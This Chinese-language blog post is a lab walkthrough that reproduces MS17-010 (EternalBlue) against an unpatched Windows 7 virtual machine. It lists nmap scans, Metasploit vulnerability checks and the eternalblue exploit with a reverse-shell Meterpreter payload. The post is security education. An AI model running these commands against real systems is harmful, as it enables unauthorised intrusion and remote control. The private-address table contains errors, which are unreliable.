176 lines
4.7 KiB
Markdown
176 lines
4.7 KiB
Markdown
|
---
|
|||
|
title: "Ms17 010(永恒之蓝)漏洞复现"
|
|||
|
date: 2024-06-30T00:55:27+08:00
|
|||
|
tags: []
|
|||
|
---
|
|||
|
|
|||
|
## 一、前言
|
|||
|
|
|||
|
### 1. 漏洞描述
|
|||
|
|
|||
|
Eternalblue通过TCP端口445和139来利用SMBv1和NBT中的远程代码执行漏洞,恶意代码会扫描开放445文件共享端口的Windows机器,无需用户任何操作,只要开机上网,不法分子就能在电脑和服务器中植入勒索软件、远程控制木马、虚拟货币挖矿机等恶意程序。
|
|||
|
|
|||
|
### 2. 漏洞影响
|
|||
|
|
|||
|
目前已知受影响的 Windows 版本包括但不限于:Windows NT,Windows 2000、Windows XP、Windows 2003、Windows Vista、Windows 7、Windows 8,Windows 2008、Windows 2008 R2、Windows Server 2012 SP0。
|
|||
|
|
|||
|
## 二、复现环境
|
|||
|
|
|||
|
* 虚拟环境搭建:`VMware Workstation 17 pro`
|
|||
|
* 网络模式:`NAT`
|
|||
|
* 攻击机:`kali Linux WSL`
|
|||
|
* 攻击机IP:`192.168.97.173`
|
|||
|
* 攻击工具:`nmap` `metasploit(MSF)`
|
|||
|
* 靶机:`cn_windows_7_ultimate_with_sp1_x64_dvd_u_677408`(**前提win7关闭防火墙**)
|
|||
|
* 靶机IP:`192.168.97.128`
|
|||
|
|
|||
|
## 三、启动 MSF
|
|||
|
|
|||
|
1. 安装MSF
|
|||
|
```bash
|
|||
|
curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall && \chmod 755 msfinstall && \./msfinstall
|
|||
|
```
|
|||
|
|
|||
|
2. 进入框架
|
|||
|
```bash
|
|||
|
msfconsole
|
|||
|
```
|
|||
|
|
|||
|
3. 初始化
|
|||
|
```bash
|
|||
|
init
|
|||
|
```
|
|||
|
|
|||
|
## 四、寻找主机
|
|||
|
|
|||
|
### 1. ipconfig
|
|||
|
使用`ipconfig`分别查看win7和kali中的ip地址
|
|||
|
|
|||
|
### 2. nmap
|
|||
|
```bash
|
|||
|
nmap -T5 -sP 192.168.97.0/24
|
|||
|
```
|
|||
|
|
|||
|
* **`-T5`**:使用速度模板**`T5`**,表示激进的扫描速度。
|
|||
|
* **`-sP`**:执行 Ping 连接扫描。
|
|||
|
* **`192.168.97.0/24`**:扫描指定的 IP 地址范围。
|
|||
|
|
|||
|
| **IP地址** | 私有ip范围 | 子网掩码 | CIDR |
|
|||
|
|------------|------------|-----------|------|
|
|||
|
| A类地址 | 10.0.0.0~10.255.255.255 | 255.0.0.0 | 10.0.0.0/8 |
|
|||
|
| B类地址 | 172.16.0.0~173.31.255.255 | 255.255.0.0 | 172.16.0.0/16 |
|
|||
|
| C类地址 | 192.168.0.0~192.168.255.255 | 255.255.255.0 | 192.168.0.0/24 |
|
|||
|
|
|||
|
## 五、端口扫描
|
|||
|
|
|||
|
### 1. nmap
|
|||
|
```bash
|
|||
|
nmap -T5 -sT 192.168.97.128
|
|||
|
```
|
|||
|
|
|||
|
* **`-T5`**:使用速度模板**`T5`**,表示激进的扫描速度。
|
|||
|
* **`-sT`**:执行 TCP 连接扫描。
|
|||
|
* **`192.168.97.128`**:扫描指定的 IP
|
|||
|
|
|||
|
### 2. MSF 端口扫描
|
|||
|
|
|||
|
1. 使用模块
|
|||
|
```bash
|
|||
|
use auxiliary/scanner/portscan/tcp
|
|||
|
```
|
|||
|
|
|||
|
2. 设置扫描ip
|
|||
|
```bash
|
|||
|
set rhosts 192.168.97.128
|
|||
|
```
|
|||
|
|
|||
|
3. 运行
|
|||
|
```bash
|
|||
|
run
|
|||
|
```
|
|||
|
|
|||
|
## 六、查找永恒之蓝漏洞
|
|||
|
|
|||
|
微软 永恒之蓝 编号`ms17-010`
|
|||
|
|
|||
|
```bash
|
|||
|
search ms17_010
|
|||
|
```
|
|||
|
|
|||
|
1. `exploit/windows/smb/ms17_010_eternalblue`
|
|||
|
* 这个模块利用了MS17-010漏洞,通过EternalBlue攻击载荷,远程执行代码。
|
|||
|
* EternalBlue利用Windows的Server Message Block(SMB)协议中的漏洞,允许攻击者在目标机器上执行任意代码。
|
|||
|
* 攻击成功后,通常会在目标机器上生成一个Meterpreter会话,从而允许进一步的渗透测试操作。
|
|||
|
|
|||
|
2. `exploit/windows/smb/ms17_010_psexec`
|
|||
|
* 这个模块结合MS17-010漏洞和Psexec技术,通过SMB协议在目标系统上执行命令。
|
|||
|
* 利用MS17-010漏洞进行初始攻击,然后使用Psexec进行进一步的远程命令执行。
|
|||
|
* 适用于在利用MS17-010漏洞后希望使用Psexec执行进一步的命令和控制操作时。
|
|||
|
|
|||
|
3. `auxiliary/admin/smb/ms17_010_command`
|
|||
|
* 这个辅助模块用于通过MS17-010漏洞在目标系统上执行指定的命令。
|
|||
|
* 不会生成一个持久的会话,而是直接执行特定的命令并返回结果。
|
|||
|
* 适用于希望通过MS17-010漏洞在目标系统上执行单个命令的场景。
|
|||
|
|
|||
|
4. `auxiliary/scanner/smb/smb_ms17_010`
|
|||
|
* 这个辅助模块用于扫描目标系统是否存在MS17-010漏洞。
|
|||
|
* 不会进行实际的漏洞利用或攻击,而是仅检测目标系统是否易受MS17-010漏洞的影响。
|
|||
|
|
|||
|
## 七、漏洞检测
|
|||
|
|
|||
|
### 1. 使用探测模块
|
|||
|
|
|||
|
1. 使用`Auxiliary`辅助探测模块
|
|||
|
```bash
|
|||
|
use auxiliary/scanner/smb/smb_ms17_010
|
|||
|
```
|
|||
|
或
|
|||
|
```bash
|
|||
|
use 24
|
|||
|
```
|
|||
|
|
|||
|
2. 查看需要配置的参数
|
|||
|
```bash
|
|||
|
show options
|
|||
|
```
|
|||
|
|
|||
|
3. 设置目标主机地址
|
|||
|
```bash
|
|||
|
set rhosts 192.168.97.128
|
|||
|
```
|
|||
|
|
|||
|
4. 运行
|
|||
|
```bash
|
|||
|
run
|
|||
|
```
|
|||
|
|
|||
|
### 2. nmap
|
|||
|
```bash
|
|||
|
nmap --script smb-vuln-ms17-010 192.168.97.128
|
|||
|
```
|
|||
|
|
|||
|
## 八、漏洞攻击
|
|||
|
|
|||
|
1. 加载 ms17-010 攻击模块
|
|||
|
```bash
|
|||
|
use exploit/windows/smb/ms17_010_eternalblue
|
|||
|
```
|
|||
|
|
|||
|
2. 设置目标主机地址
|
|||
|
```bash
|
|||
|
set rhosts 192.168.97.128
|
|||
|
```
|
|||
|
|
|||
|
3. 设置连接方式为反向连接
|
|||
|
```bash
|
|||
|
set payload windows/x64/meterpreter/reverse_tcp
|
|||
|
```
|
|||
|
|
|||
|
4. 运行
|
|||
|
```bash
|
|||
|
run
|
|||
|
```
|
|||
|
|
|||
|
## 九、Meterpreter命令用法
|
|||
|
|
|||
|
[命令列表和详细说明...]
|